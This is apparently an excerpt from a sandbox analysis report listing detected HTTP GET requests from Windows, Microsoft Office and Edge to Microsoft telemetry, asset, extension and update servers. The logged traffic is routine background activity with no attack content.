Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733704475&P2=404&P3=2&P4=Pk5toYcNP5db6oBc5d%2bF9jAsfl7rHSO0IVQnYmm7c6oL3mbf1kl5ZJ0J5teMHbovx5td9JbKE9nZe%2fHlC8rR1w%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: uiWtfcLVsaHO2lCBIn1FuGSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bVm8Pk8VwS2lMKp&MD=KVNxhTTS HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
